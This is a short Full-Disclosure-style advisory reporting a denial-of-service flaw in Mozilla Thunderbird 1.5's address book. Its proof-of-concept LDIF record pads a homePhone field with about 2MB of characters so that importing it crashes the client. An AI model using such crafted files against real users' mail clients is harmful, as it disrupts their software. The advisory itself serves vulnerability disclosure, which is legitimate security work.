[Full-disclosure] Mozila Thunderbird 1.5 Address Book DoS

Affected: Mozila Thunderbird 1.5 /possibly other versions/

Mozila Thunderbird 1.5 address book allows fields of unlimited size in
the address book which leads to a DoS if you import such ldif file

POC: create a file.ldif and insert following then import it in address book:
n: cn=Test POC by [email protected],[email protected]
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
objectclass: mozillaAbPersonAlpha
givenName: Test
sn: POC by [email protected]
cn: POC by [email protected]
mozillaNickname: DrFrancky
mail: [email protected]
nsAIMid: DrFrancky POC
modifytimestamp: 0Z
homePhone: aaaaaaaaaaaaaaa[2MB of 'a']

Credits:
DrFrancky
[email protected]